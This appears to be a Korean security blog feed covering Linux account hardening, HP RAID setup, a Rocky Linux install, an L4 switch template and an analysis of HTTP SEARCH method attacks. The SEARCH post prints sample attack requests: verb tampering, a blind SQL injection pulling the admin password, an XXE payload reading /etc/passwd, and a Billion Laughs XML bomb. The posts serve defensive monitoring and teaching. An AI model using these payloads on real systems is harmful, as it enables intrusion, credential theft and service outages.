업무상 필요하지 않은 계정이라면 삭제할 수 있다.

userdel -r [취약계정명]

필요한 계정이라면 UID 변경

업무상 계정을 유지해야 한다면 일반 사용자 UID로 변경하는 방법을 검토할 수 있다.

# 사용하지 않는 고유 UID 번호(예: 1005)로 재할당
usermod -u 1005 -g 1005 [취약계정명]

# 홈 디렉터리 소유권 재설정
chown -R [취약계정명]:[취약계정그룹] /home/[취약계정명]

UID 변경은 해당 계정이 소유한 파일과 프로세스, 서비스 설정 등에 영향을 줄 수 있으므로 운영 서버에서는 관련 파일의 소유권과 서비스 영향도를 함께 확인해야 한다.

7. 스크립트 실행 후 결과 확인 방법

U-01~U-05 스크립트의 목적은 설정 파일을 하나씩 직접 열어서 확인하는 시간을 줄이는 것이다.

예를 들어 여러 서버를 점검할 경우 다음과 같은 흐름으로 사용할 수 있다.

Linux 서버 접속
      ↓
점검 스크립트 실행
      ↓
U-01 ~ U-05 결과 확인
      ↓
[양호] / [취약] / [정보] 구분
      ↓
취약 항목만 상세 설정 확인
      ↓
필요 시 조치
      ↓
조치 후 재점검

자동화 스크립트에서 [취약]이 나온다고 해서 바로 설정을 변경하기보다는 왜 취약으로 판단되었는지 출력된 판단 사유를 먼저 확인하는 것이 중요하다.

특히 PAM, SSH, 비밀번호 정책처럼 잘못 변경하면 로그인 자체가 불가능해질 수 있는 설정은 반드시 변경 전 백업과 테스트가 필요하다.

8. 자동화 스크립트의 한계와 예외 처리

자동화 점검은 반복적인 서버 점검 작업을 줄이는 데 효과적이지만, 설정 파일 하나를 검색하는 것만으로 실제 시스템에 적용되는 최종 정책을 100% 판단할 수 있는 것은 아니다.

특히 최근 Linux 배포판에서는 하나의 설정 파일에 모든 정책을 작성하지 않고 별도의 설정 파일이나 디렉터리를 사용하는 경우가 있다.

예를 들어 다음과 같은 구성이 사용될 수 있다.

/etc/ssh/sshd_config.d/*.conf
/etc/security/faillock.conf
/etc/security/pwquality.conf.d/*.conf

따라서 현재 스크립트는 빠른 1차 점검에 활용하고, 운영환경에서는 실제 적용되는 설정까지 확인하는 방식으로 보완하는 것이 필요하다.

8.1 SSH 분할 설정 확인 예시

# [개선 스니펫] sshd 및 pam 분할 디렉터리 동시 점검 로직
STATUS_SSH=$(grep -i -h -E "^[[:space:]]*PermitRootLogin" /etc/ssh/sshd_config /etc/ssh/sshd_config.d/*.conf 2>/dev/null | grep -v "^#" | tail -1 | awk '{print $2}')

8.2 PAM 계정 잠금 설정 확인 예시

PAM_DENY=$(grep -E -h "^[[:space:]]*(auth|deny)" /etc/pam.d/system-auth /etc/pam.d/common-auth /etc/security/faillock.conf 2>/dev/null | grep -o -E "deny=[0-9]+|^[[:space:]]*deny[[:space:]]*=[[:space:]]*[0-9]+" | head -1 | awk -F= '{print $2}' | tr -d ' ')

이러한 방식으로 환경별 설정 파일을 추가로 검색하면 기존 스크립트의 탐지 범위를 넓힐 수 있다.

9. 자동화 점검 스크립트를 사용할 때 주의할 점

이 글의 스크립트는 Linux 서버의 보안 설정을 빠르게 점검하기 위한 자동화 도구다.

따라서 다음과 같은 용도로 활용할 수 있다.

여러 Linux 서버의 반복적인 보안점검
취약점 점검 전 1차 자동 진단
수동 점검 항목의 사전 확인
서버 구축 후 기본 보안설정 확인
보안점검 결과의 초기 수집
Bash 기반 서버 보안점검 자동화 구성

반면 스크립트 결과만으로 모든 환경의 보안 상태를 최종 판단해서는 안 된다.

특히 다음 환경에서는 추가적인 수동 확인이 필요하다.

RHEL/Rocky/AlmaLinux/Ubuntu/Debian 등 배포판이 서로 다른 환경
최신 배포판의 분할 설정 파일을 사용하는 환경
PAM 설정을 별도로 변경한 환경
중앙 인증서버 또는 LDAP/AD 등을 사용하는 환경
운영 중인 서비스가 PAM/SSH 설정에 의존하는 환경

10. 마무리

U-01~U-05는 Linux 서버 계정 관리에서 반복적으로 확인해야 하는 대표적인 보안점검 항목이다.

각 항목을 서버마다 직접 설정 파일을 열어 확인할 수도 있지만, Bash 스크립트를 활용하면 여러 서버의 기본적인 보안 설정을 빠르게 확인할 수 있다.

이번 글에서 제공한 스크립트는 다음 항목을 자동으로 확인한다.

U-01  root 원격 접속 제한
U-02  비밀번호 관리정책
U-03  계정 잠금 임계값
U-04  비밀번호 파일 보호
U-05  UID 0 계정 확인

다만 자동화의 목적은 수동점검을 완전히 대체하는 것보다 반복적인 확인 작업을 줄이고, 점검 대상 서버에서 이상 설정을 빠르게 찾아내는 것에 있다.

특히 운영환경에서는 스크립트 결과를 1차 진단 결과로 활용하고, [취약] 또는 [정보]로 표시된 항목에 대해 실제 적용 설정과 운영환경을 추가로 확인하는 방식이 적합하다.

주의사항

본 포스팅의 스크립트 및 조치 방법은 Linux 시스템의 보안점검과 보안 강화를 목적으로 작성되었다. Linux 배포판, 버전, 설치된 서비스 및 인증 구성에 따라 설정 파일과 적용 방식이 다를 수 있다.

특히 SSH, PAM, 비밀번호 정책과 관련된 설정을 변경하면 정상적인 로그인이나 서비스 동작에 영향을 줄 수 있으므로 운영 서버에 적용하기 전에 반드시 테스트 환경에서 검증한 후 적용해야 한다.

스크립트 실행 및 설정 변경으로 인해 발생하는 시스템 장애에 대해서는 사용 환경에 맞는 사전 검증이 필요하다.

함께 보면 좋은 글

Linux 보안취약점 점검 자동화 스크립트 공통 함수 및 환경 설정

Linux 보안취약점 점검 스크립트를 여러 항목에서 공통으로 사용하기 위한 함수와 환경 설정에 대한 내용은 별도의 글에서 확인할 수 있다.

자동화 스크립트 공통 함수 및 환경 설정

[보안 분석] HTTP SEARCH 메소드 공격 기법과 보안 관제 대응 전략

보안실무자J — Fri, 4 Sep 2026 10:00:42 +0900

최근 웹 애플리케이션 보안 환경에서는 GET이나 POST와 같은 표준 메소드 외에, 비표준 HTTP 메소드를 악용한 공격 시도가 지속적으로 포착되고 있습니다.

이번 리포트에서는 HTTP SEARCH 메소드 공격의 구조와 RFC 5323 표준의 위험성, 그리고 보안관제 관점에서의 위협 우선순위와 보고서 분류 기준을 종합적으로 정리해 드립니다.

1. HTTP SEARCH 메소드와 RFC 5323 표준의 이해

SEARCH 메소드는 RFC 5323 사양으로 정의된 WebDAV(Web-based Distributed Authoring and Versioning) 확장 규격입니다.

주요 역할: GET 요청의 URL 길이 및 표현력 한계를 극복하고, 요청 본문(Body)에 XML 또는 JSON 구조의 대용량 검색 조건을 실어 서버 측 자원을 조회합니다.
활용 분야: Microsoft Exchange, SharePoint, MS Outlook 등 문서 및 리소스 공유 환경에서 주로 작동합니다.
보안상 위협 요인: XML 파싱이 필수적이며 비표준 메소드라는 특성 때문에 웹 애플리케이션의 공격 표면(Attack Surface)을 크게 넓히는 원인이 됩니다.

2. SEARCH 메소드를 악용한 주요 공격 유형

공격자는 페이로드(Payload)의 유무와 목적에 따라 SEARCH 요청을 다각도로 악용합니다.

1) 페이로드가 없는 공격: HTTP Verb Tampering (접근 제어 우회)

원리: WAF나 웹 서버 보안 설정(예: Apache <Limit>, Java web.xml)이 GET과 POST에만 접근 제어를 걸어두고 비표준 메소드를 누락한 허점을 노립니다.
공격 방식: 공격자가 GET /admin 접근 시 차단되면 SEARCH /admin으로 변경해 전송합니다. 백엔드가 메소드 구분 없이 파라미터만 처리할 경우 인증 필터를 우회하여 관리자 자원에 접근하게 됩니다.

1-1) Verb Tampering (접근 제어 우회) 샘플

추천 위치: 2장 - 페이로드가 없는 공격: HTTP Verb Tampering 설명 바로 하단
샘플 코드:

SEARCH /admin/manage_users.php HTTP/1.1
Host: target-website.com
User-Agent: Mozilla/5.0
Accept: */*

2)페이로드가 있는 공격: 요청 본문(Body) 악용

SQL Injection (SUBSTRING 활용): 검색 파라미터 내부에 SUBSTRING 등의 내장 함수를 주입합니다. Blind SQL Injection 공격 시 SUBSTRING(문자열, 시작위치, 길이)을 이용해 관리자 암호 등의 데이터를 한 글자씩 조각내어 참/거짓을 비교하는 방식으로 내부 DB 정보를 탈취합니다.
XXE (XML External Entity): XML 본문에 악의적인 DTD를 삽입하여 서버 내부 파일(/etc/passwd 등)을 유출하거나 SSRF 공격을 수행합니다.
XML DoS (Billion Laughs): 과도하게 중첩된 XML 엔티티 구조를 전달하여 파서의 CPU와 메모리 자원을 고갈시킵니다.

2-1) SEARCH + Blind SQL Injection (SUBSTRING ) 샘플

추천 위치: 2장 - 페이로드가 있는 공격: SQL Injection 설명 바로 하단
샘플 코드:

SEARCH /dav/search HTTP/1.1
Host: target-website.com
Content-Type: text/xml; charset="utf-8"
Content-Length: 310

<?xml version="1.0" encoding="utf-8" ?>
<C:searchrequest xmlns:C="DAV:">
  <C:sql>
    SELECT * FROM docs WHERE title = 'test' 
    AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) = 97
  </C:sql>
</C:searchrequest>

2-2) SEARCH + XXE (XML External Entity) 샘플

추천 위치: 2장 - 페이로드가 있는 공격: XXE 설명 바로 하단
샘플 코드:

SEARCH /dav/files HTTP/1.1
Host: target-website.com
Content-Type: text/xml; charset="utf-8"
Content-Length: 210

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE search [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<DAV:searchrequest xmlns:DAV="DAV:">
  <DAV:basicsearch>
    <DAV:select><DAV:prop>&xxe;</DAV:prop></DAV:select>
  </DAV:basicsearch>
</DAV:searchrequest>

2-3) XML DoS (Billion Laughs Attack) 샘플

추천 위치: 2장 - 페이로드가 있는 공격: XML DoS 설명 바로 하단
샘플 코드:

SEARCH /dav/files HTTP/1.1
Host: target-website.com
Content-Type: text/xml; charset="utf-8"

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>

3. GET /.bashrc/ 스캔과 SEARCH 공격의 우선순위 비교

보안 모니터링 현장에서 자주 포착되는 단순 정찰 요청과 SEARCH 공격의 위험도를 비교하면 다음과 같습니다.

구분	SEARCH 메소드 공격	GET /.bashrc/ 스캔 공격
공격 성격	Verb Tampering, SQLi, XXE 등 타깃 공격	무차별 자동화 정찰 (환경변수/비밀번호 탐색)
특이 사항	보안 장비 사각지대 노림	경로 끝 슬래시(/)로 WAF 정규식 우회 시도
대응 우선순위	1순위 (상위)	2순위 (하위)

GET /.bashrc/ 요청은 인터넷 전체 대역을 대상으로 무작위 찌르기를 시도하는 단순 보안 소음(Background Noise)인 반면, SEARCH 요청은 보안 통제 우회나 복합 악성 페이로드가 실렸을 가능성이 높아 우선적인 정밀 분석이 필요합니다.

4. 보안 보고서 작성을 위한 단일 카테고리 분류 기준

단일 분류체계 보고서를 작성해야 하는 경우, '공격의 목적(최종 위협)'을 최우선 기준으로 지정하는 것이 보안관제 표준 규격입니다.

웹 애플리케이션 취약점 공격: SEARCH 요청 본문에 SQLi, XXE 등의 악성 페이로드가 존재하는 경우 (SEARCH는 전달 수단으로 보고 본문 내 페이로드를 기준으로 분류)
접근 제어 우회 시도: 페이로드 없이 인증·인가 우회만을 목적으로 SEARCH 메소드를 사용한 경우
정보 수집 및 정찰: GET /.bashrc/와 같이 페이로드 없이 민감 파일 존재 여부를 탐색하는 경우

WebDAV 서비스가 불필요한 환경이라면 웹 서버(Nginx, Apache) 및 WAF 레벨에서 SEARCH 메소드를 전면 차단(405 Method Not Allowed)하고, XML 파서의 외부 엔티티 참조 기능을 비활성화하는 것이 가장 확실한 예방책입니다.

[HP 서버] HP ProLiant DL380 Smart Storage Administrator(SSA)를 이용한 RAID 구성 완벽 가이드

보안실무자J — Wed, 26 Aug 2026 10:06:01 +0900

HP ProLiant DL380 서버에서 하드웨어 스토리지 컨트롤러인 Smart Storage Administrator(SSA)를 활용하여 RAID(Redundant Array of Independent Disks)를 구성하고 로지컬 드라이브(Logical Drive)를 생성하는 정석 절차를 정리해 드립니다.

안정적인 운영체제(OS) 설치와 데이터 보호를 위한 첫 번째 필수 단계인 RAID 구성의 전체 과정을 명확하게 안내합니다.

1. Smart Storage Administrator(SSA) 진입

서버의 전원을 켜고 바이오스(BIOS) 및 포스트(POST) 초기화 화면에서 SSA 설정 도구로 진입해야 합니다.

Gemini를 이용한 HP 서버랙 이미지

서버 전원 버튼을 눌러 부팅을 시작합니다.
HP 로고와 함께 시스템 포스트(POST) 화면이 표시되면 F10 키(Intelligent Provisioning)를 눌러 진입합니다. (참고: 부팅 화면에서 F11 Boot Menu 진입 후 SSA를 선택하거나, 온보드 SSA 진입 키 안내에 따라 진행할 수도 있습니다.)
Intelligent Provisioning 메인 화면이 출력되면 Smart Storage Administrator (SSA) 아이콘을 클릭하여 GUI 관리 도구를 실행합니다.

2. 어레이(Array) 생성 및 물리 디스크 선택

장착된 하드디스크(HDD) 또는 SSD를 하나의 물리적 어레이 그룹으로 묶는 작업입니다.

Gemini를 이용한 HP SSA 참고용 이미지

SSA 메인 화면 좌측 상단에서 Smart Array 컨트롤러(예: Smart Array P408i-a SR Gen10 등)를 선택합니다.
좌측 메뉴에서 Actions ➔ Configure를 클릭한 후, 화면 중앙의 Create Array 버튼을 누릅니다.
RAID로 구성하고자 하는 물리 디스크(Physical Drives) 목록을 체크 박스로 선택합니다.
- 예시: 4개의 디스크 전체를 하나의 어레이로 묶는 경우 4개 항목을 모두 선택합니다.
디스크 선택 확인 후 하단의 Create Array 버튼을 클릭합니다.

3. RAID 레벨 지정 및 로지컬 드라이브(Logical Drive) 생성

어레이 생성이 완료되면, 해당 디스크 그룹에 적용할 RAID 정책과 볼륨 용량을 결정합니다.

Gemini를 이용한 HP 서버랙 이미지

RAID Level 선택:
- RAID 0: 성능 및 용량 극대화 (복구 불가, 단일 디스크용)
- RAID 1 / RAID 10: 데이터 미러링을 통한 높은 안정성 및 성능 (서버 운영 환경 권장)
- RAID 5 / RAID 6: 패리티 기반의 용량 효율성 및 복구력 제공
Strip Size / Size 지정:
- Strip Size: 기본 추천값(Default, 예: 256 KiB 등)을 유지하는 것을 권장합니다.
- Size: 전체 디스크 용량을 통째로 하나의 로지컬 드라이브로 사용할 경우 Maximum Size를 선택합니다.
설정을 마친 후 하단의 Create Logical Drive 버튼을 클릭합니다.

4. 설정 저장 및 완료

생성된 로지컬 드라이브의 상태를 최종 검증하고 구성을 확정합니다.

화면에 표시된 Summary(요약 정보)를 통해 RAID 레벨, 총 용량, 구성 디스크 개수가 정확한지 최종 확인합니다.
우측 하단의 Finish 버튼을 눌러 어레이 조작을 완료합니다.
우측 상단의 X 버튼 또는 종료 메뉴를 눌러 SSA 프로그램을 빠져나옵니다.
서버 재부팅(Reboot)을 진행합니다.

다음 단계 안내 (내부 링크 연결)

HP Smart Storage Administrator(SSA)를 통한 RAID 구성 및 로지컬 드라이브 확보가 완료되었습니다. 이제 OS 설치 미디어(USB)를 통해 파티셔닝 작업 및 운영체제 설치를 진행할 수 있습니다.

다음 연관 가이드:

2026.08.25 - [보안실무 & 트러블슈팅] - [실무 가이드] 로키 리눅스 9.6 서버 재설치부터 수동 파티셔닝, 폐쇄망 IP 설정 및 SSH 포트 변경 완벽 정리

[Rockey 9.6] 로키 리눅스 9.6 서버 재설치부터 수동 파티셔닝, 폐쇄망 IP 설정 및 SSH 포트 변경 완벽 정리

보안실무자J — Wed, 26 Aug 2026 10:00:25 +0900

HP 서버 환경(RAID 구성 완료 상태)에서 로키 리눅스 9.6(Rocky Linux 9.6)을 재설치하고, 폐쇄망 환경에 맞춰 고정 IP 및 SSH 포트를 변경한 전체 실무 구축 과정을 정리해 드립니다. OS 구동 중 루트 파티션 축소의 한계로 인해 진행된 재설치 단계부터 인스톨러 에러 해결, 보안 정책 적용까지의 핵심 절차를 명확히 안내합니다.

1. OS 재설치 및 수동 파티셔닝 (Protected Device 에러 해결)

운영 중인 상태에서는 마운트된 루트 파티션(/)의 용량을 줄일 수 없으므로, 설치 USB를 통한 재설치를 진행했습니다.

Gemini로 생성된 KVM 스위치 이미지

① 'Cannot modify protected device' 에러 조치

기존 파티션이 잠겨 삭제되지 않는 경우, 아래 절차로 디스크를 완전히 초기화해야 합니다.

설치 요약 화면에서 [설치 대상(Installation Destination)]으로 이동합니다.
스토리지 구성을 Automatic(자동)으로 변경한 후 [완료]를 클릭합니다.
용량 부족 팝업창이 뜨면 Reclaim Space(공간 회수)를 선택합니다.
기존 파티션 리스트에서 Delete All(모두 삭제) ➔ Reclaim Space를 적용하여 디스크 잠금을 해제합니다.

② 수동 파티셔닝 (LVM 구성)

디스크 잠금 해제 후 스토리지 구성을 Custom(수동)으로 전환하여 아래 규격으로 파티션을 지정합니다. (별도의 /data 파티션 없이 루트 파티션에 잔여 용량을 올인하는 구성입니다.)

/boot/efi: 600 MiB (UEFI 부팅 필수 파티션)
/boot: 1 GiB (커널 업데이트 대비 용량 확보)
swap: 16 GiB (가상 메모리)
/ (루트 파티션): 용량 칸을 빈칸으로 유지 (남은 전체 용량 약 1.9 TiB가 자동으로 할당됩니다.)

※ 설치 완료 후 df -h 명령어를 통해 물리 디스크(/dev/mapper/rl-root)에 1.9TB 용량이 정상 할당되었음을 검증했습니다.

# 디스크 할당 상태 확인
$ df -h

③ 최소 설치(Minimal Install) 패키지 선택 및 설치 진행

수동 파티셔닝 설정이 완료되면, 실제로 OS 패키지를 디스크에 복사하고 기본 시스템 환경을 구성하는 단계를 진행합니다. 서버 리소스 최적화와 보안 강화를 위해 '최소 설치(Minimal Install)' 모드로 진행합니다.

Gemini로 생성된 Rockey 9.6 설치 이미지

소프트웨어 선택 (Software Selection):
- 설치 요약 화면에서 [소프트웨어 선택] 메뉴로 진입합니다.
- 기본 환경(Base Environment) 옵션에서 Minimal Install (최소 설치)를 선택하고 완료를 누릅니다.
- (이유: 불필요한 GUI 환경과 대몬 서비스를 배제하여 서버 시스템 자원 소모를 줄이고 보안 공격 표면을 최소화하기 위함입니다.)
시간 및 날짜 설정 (Time & Date):
- [시간 및 날짜] 메뉴에서 지역을 아시아(Asia), 도시를 서울(Seoul)로 지정하여 시스템 타임존을 설정합니다.
Root 암호 및 사용자 계정 생성 (Root Password / User Creation):
- [Root 암호] 메뉴로 이동하여 최고 관리자 비밀번호를 지정합니다.
- (참고: 보안 정책에 따라 필요한 경우 'Root 계정 잠금 해제' 및 'SSH 비밀번호 로그인 허용' 여부를 체크합니다.)
설치 시작 및 재부팅 (Begin Installation & Reboot):
- 모든 필수 설정 항목의 경고 표시가 사라진 것을 확인한 후, 우측 하단의 [설치 시작(Begin Installation)] 버튼을 클릭합니다.
- 패키지 설치 및 시스탬 초기화 작업이 완료되면, 장착된 설치 USB 미디어를 제거한 뒤 [시스템 재부팅(Reboot System)] 버튼을 눌러 첫 부팅을 진행합니다.

2. 폐쇄망 환경 고정 IP 및 네트워크 설정

인터넷 연결이 되지 않는 폐쇄망 환경이므로, 텍스트 기반 네트워크 관리 도구인 nmtui를 사용하여 고정 IP를 할당했습니다.

Gemini로 생성된 nmtui 참고용 이미지

① IP 수동 설정 절차

터미널에서 nmtui 명령어를 실행합니다.
Edit a connection ➔ 활성화된 네트워크 카드(예: ens3f0)를 선택합니다.
IPv4 CONFIGURATION을 <Manual>로 변경합니다.
IP 주소 및 서브넷 마스크: IP주소/25 형태로 입력합니다. (서브넷 마스크 255.255.255.128 기준)
Gateway: 지정된 게이트웨이 IP를 입력합니다.
저장 후 Activate a connection 메뉴에서 해당 인터페이스를 비활성화(Deactivate) 후 재활성화(Activate)합니다.

② 네트워크 설정 검증

# IP 및 서브넷 마스크 확인
$ ip a

# 라우팅 테이블 및 게이트웨이 확인
$ ip route show

3. SSH 포트 변경 및 SELinux 트러블슈팅

기본 포트(22번)를 변경하고, 최소 설치(Minimal Install) 환경에서 발생하는 semanage 명령어 부재 문제를 해결했습니다.

① SSH 설정 파일 수정

/etc/ssh/sshd_config 파일 내 Port 항목을 원하는 포트 번호(예: 2222)로 변경 및 저장합니다.

Bash

$ vi /etc/ssh/sshd_config
# Port 22 -> Port 2222 로 수정

② semanage 명령어 부재 해결 (폐쇄망 대응)

최소 설치 환경에는 SELinux 포트 제어 도구인 semanage가 포함되어 있지 않으므로, 설치 USB를 로컬 리포지토리로 마운트하여 패키지를 설치하거나 SELinux를 비활성화해야 합니다.

방법 A: 로컬 USB 리포지토리 활용 (패키지 설치)

# USB 마운트 및 로컬 repo 등록 후 설치
$ mount /dev/cdrom /mnt/cdrom
$ dnf install -y policycoreutils-python-utils
$ semanage port -a -t ssh_port_t -p tcp 2222

방법 B: SELinux 비활성화 (실무 우회 적용)

# SELinux 설정 파일 수정
$ vi /etc/selinux/config
# SELINUX=enforcing -> SELINUX=disabled 로 변경 후 reboot

③ 방화벽 허용 및 SSH 서비스 재시작

# 방화벽 포트 추가 및 리로드
$ firewall-cmd --permanent --add-port=2222/tcp
$ firewall-cmd --reload

# SSH 데몬 재시작
$ systemctl restart sshd

4. 서비스 가동 상태 최종 검증

모든 설정을 마친 뒤, 외부 접속을 시도하기 전 서버 내부에서 3단계 검증을 완료했습니다.

Gemini로 생성된 명령어 실행 이미지

# 1. SSH 데몬 가동 상태 확인
$ systemctl status sshd

# 2. 변경된 포트의 LISTEN 상태 확인
$ ss -tlpn | grep :2222

# 3. 방화벽 개방 포트 리스트 확인
$ firewall-cmd --list-ports

모든 명령어의 출력 결과에서 서비스 정상 작동(active running), 포트 바인딩(LISTEN), 방화벽 허용 상태를 확인한 후 원격 접속 테스트를 성공적으로 완료했습니다.

HP DL380 서버를 처음 구축하시나요?

OS 설치 전 진행되는 Smart Storage Administrator(SSA) 기반의 하드웨어 RAID 설정 과정은 아래 연결된 포스팅에서 상세히 확인하실 수 있습니다.

[L4 스위치] 파이오링크(PiOLINK) PAS-K 계열 SLB 설정 가이드: CLI 템플릿 및 명령어

보안실무자J — Wed, 12 Aug 2026 10:53:31 +0900

[L4 스위치] 파이오링크(PiOLINK) PAS-K 계열 SLB 설정 가이드: CLI 템플릿 및 명령어 주석 정리

오늘 안내해 드릴 내용은 기업 네트워크 환경에서 필수적인 L4 스위치(파이오링크 PAS-K 계열)의 SLB(Server Load Balancing, 서버 부하분산) 설정법입니다.

네트워크 현장에 즉시 적용할 수 있도록 실제 IP/포트 대신 범용 가이드 템플릿을 적용하였으며, 각 명령어의 상세한 주석을 포함하였습니다. 차근차근 확인하시어 안정적인 시스템 환경 구축에 도움이 되기를 바랍니다.

1. L4 스위치 SLB 구축의 3단계 개요

L4 스위치에서 부하분산 서비스를 구성할 때는 다음 3가지 핵심 구조를 순차적으로 설정해야 합니다.

헬스체크(Health Check): 백엔드 서버의 서비스 상태(살아있는지 여부)를 감시하는 정책입니다.
리얼 서버(Real Server): 트래픽을 실제로 수신하여 처리하는 물리/가상 서버의 IP를 등록합니다.
SLB(Virtual Server & Policy): 대표 IP(VIP)를 지정하고, 로드밸런싱 알고리즘, 세션 고정(Sticky), 접근 제어(Filter) 및 리얼 서버를 결합합니다.

2. 헬스체크(Health Check) 및 리얼 서버(Real Server) 설정

가장 먼저 서버의 상시 생존 여부를 감시할 프로토콜과 포트를 정의한 후, 실제 트래픽을 처리할 서버들을 시스템에 등록합니다.

헬스체크 및 리얼 서버 설정 CLI

config                                    # 설정(Configure) 모드 진입

# ========================================================
# 1. Health Check (헬스체크 설정)
# ========================================================
health-check [생성할 헬스체크 번호]          # 헬스체크 정책 식별 번호 생성 (예: 10)
  type [감시 프로토콜 타입]                  # 생존 여부를 감시할 프로토콜 (tcp, http, icmp 등)
  port [감시할 서비스 포트]                  # 헬스체크 대상 포트 번호 지정
  apply                                    # 헬스체크 설정 적용
exit                                       # 헬스체크 설정 메뉴 종료

# ========================================================
# 2. Real Server (리얼 서버 등록)
# ========================================================
real [1번 REAL 서버 식별 번호]              # 1번 리얼 서버 식별 ID 지정 (예: 101)
  rip [1번 REAL 서버 IP]                   # 실제 서비스가 동작 중인 1번 서버의 IP
  status enable                           # 1번 리얼 서버 상태 활성화
  apply                                   # 설정 적용
exit                                      # 리얼 서버 설정 메뉴 종료

real [2번 REAL 서버 식별 번호]              # 2번 리얼 서버 식별 ID 지정 (예: 102)
  rip [2번 REAL 서버 IP]                   # 실제 서비스가 동작 중인 2번 서버의 IP
  status enable                           # 2번 리얼 서버 상태 활성화
  apply                                   # 설정 적용
exit                                      # 리얼 서버 설정 메뉴 종료

3. SLB 및 서비스 정책 구성

이제 대표 IP(VIP)를 생성하고 앞서 등록한 헬스체크 정책과 리얼 서버를 하나로 묶어주는 SLB 가상 서버 설정을 진행합니다.

주요 핵심 정책 안내

NAT 모드 (nat-mode lan-to-lan): 클라이언트와 서버가 동일 대역에 위치하거나 Source NAT 처리가 필요한 경우 사용되는 표준 전송 방식입니다.
부하분산 방식 (lb-method): rr (Round Robin, 순차 분산) 또는 lc (Least Connection, 최소 연결 수 기반 분산) 방식을 주로 채택합니다.
트래픽 필터 (filter): 허용할 트래픽 조건(SIP, DIP, DPort)을 명시하여 인가되지 않은 통신을 차단합니다.
세션 유지 (sticky): 로그인 세션 유지 등이 필요한 웹 애플리케이션의 경우, 동일 클라이언트 IP의 요청을 일정 시간 동안 지정된 서버로 지속 연결합니다.

4. 전체 CLI 템플릿

아래는 파이오링크 L4 스위치 구축 시 즉시 활용할 수 있는 전체 스크립트 템플릿입니다. 대괄호 [...] 영역을 네트워크 환경에 맞는 값으로 치환하여 사용하십시오.

config                               # 설정(Configure) 모드 진입

# ========================================================
# 1. Health Check (헬스체크 설정)
# ========================================================
health-check [생성할 헬스체크 번호]     # 헬스체크 정책 식별 번호 생성 (예: 10)
  type [감시 프로토콜 타입]             # 감시할 프로토콜 (tcp, http, icmp 등)
  port [감시할 서비스 포트]             # 헬스체크 대상 포트 번호 지정
  apply                              # 헬스체크 설정 적용
exit                                 # 헬스체크 설정 메뉴 종료

# ========================================================
# 2. Real Server (리얼 서버 등록)
# ========================================================
real [1번 REAL 서버 식별 번호]         # 1번 리얼 서버 식별 ID 지정 (예: 101)
  rip [1번 REAL 서버 IP]              # 실제 서비스가 동작 중인 1번 서버의 IP
  status enable                      # 1번 리얼 서버 상태 활성화
  apply                              # 설정 적용
exit                                 # 리얼 서버 설정 메뉴 종료

real [2번 REAL 서버 식별 번호]         # 2번 리얼 서버 식별 ID 지정 (예: 102)
  rip [2번 REAL 서버 IP]              # 실제 서비스가 동작 중인 2번 서버의 IP
  status enable                      # 2번 리얼 서버 상태 활성화
  apply                              # 설정 적용
exit                                 # 리얼 서버 설정 메뉴 종료

# ========================================================
# 3. SLB 및 서비스 정책 설정
# ========================================================
slb [생성할 SLB 서비스명]               # SLB 그룹 및 서비스 이름 생성 (예: WEB_SLB)
  status enable                       # SLB 서비스 활성화
  nat-mode lan-to-lan                 # Source NAT 방식을 LAN-to-LAN 모드로 설정
  lb-method [부하분산 방식]             # 트래픽 분산 알고리즘 지정 (rr: 순차, lc: 최소접속 등)

  health-check [연동할 헬스체크 번호]    # 1단계에서 만든 헬스체크 번호 바인딩

  vip [사용할 VIP 주소] protocol [프로토콜] vport [포트] 
  # 대표 가상 IP(VIP), 프로토콜, 접속 포트 설정
  lan-to-lan [NAT 통신용 LAN 대역 IP/마스크]      
  # LAN-to-LAN NAT 통신에 사용될 내부 네트워크 대역

  apply                               # 기본 SLB 정보 적용

  filter [필터 번호]         # 트래픽 제어/접근 제어(ACL) 필터 번호 지정 (예: 1)
    type include                      # 조건을 만족하는 트래픽 허용(Include) 정책
    protocol [프로토콜 타입]            # 필터링 대상 프로토콜 (예: tcp)
    sip [출발지 IP/서브넷마스크]         # 접속 허용할 출발지 Client IP 대역 (전체 허용: 0.0.0.0/0)
    dip [목적지 VIP/서브넷마스크]        # 목적지 IP 대역 (보통 설정한 VIP/32)
    dport [목적지 포트]                 # 목적지 서비스 포트 번호
    status enable                     # 필터 정책 활성화
    apply                             # 필터 설정 적용

  sticky time [세션 유지 시간(초)]       
  # 동일 클라이언트의 세션 지속 유지 시간 (예: 60)
  sticky source-subnet [세션 고정 기준 마스크]    
  # 세션 고정 기준 IP 범위 (단일 IP 기준: 255.255.255.255)

  real [연동할 1번 REAL 서버 번호] status enable   
  # 2단계에서 만든 1번 리얼 서버를 SLB에 바인딩
  real [연동할 2번 REAL 서버 번호] status enable  
  # 2단계에서 만든 2번 리얼 서버를 SLB에 바인딩

  apply                               # SLB 최종 설정 적용
exit                                  # SLB 설정 메뉴 종료

파이오링크 L4 스위치 환경에서의 SLB 핵심 설정 명령어와 구체적인 주석 설명을 안내해 드렸습니다.
네트워크 설정 시 정책을 철저히 검증하시어 안정적인 서비스를 운용하시기를 바랍니다.

[폐쇄망환경] 윈도우 프로그램 실행 지연 해결: CRL(인증서 실효 목록) 타임아웃 완벽 가이드

보안실무자J — Fri, 31 Jul 2026 10:39:50 +0900

폐쇄망(Air-gapped) 환경에서 서버 및 PC를 운용할 때, 인터넷이 연결된 환경에서는 발생하지 않던 기이한 장애를 겪는 경우가 있습니다. 특정 프로그램이나 서비스가 실행될 때 1분 이상 무응답 상태로 멈춰 있거나, 끝내 실행에 실패하는 현상입니다.

이러한 문제의 대표적인 원인은 Windows의 인증서 실효 목록(CRL, Certificate Revocation List) 검증 과정에서 발생하는 네트워크 타임아웃입니다. 네트워크가 차단된 환경에서 Windows CryptoAPI(CAPI2)가 외부 인증 기관(CA)의 CRL 서버로 접속을 시도하다 실패하면서 시스템 지연이 발생하는 것입니다.

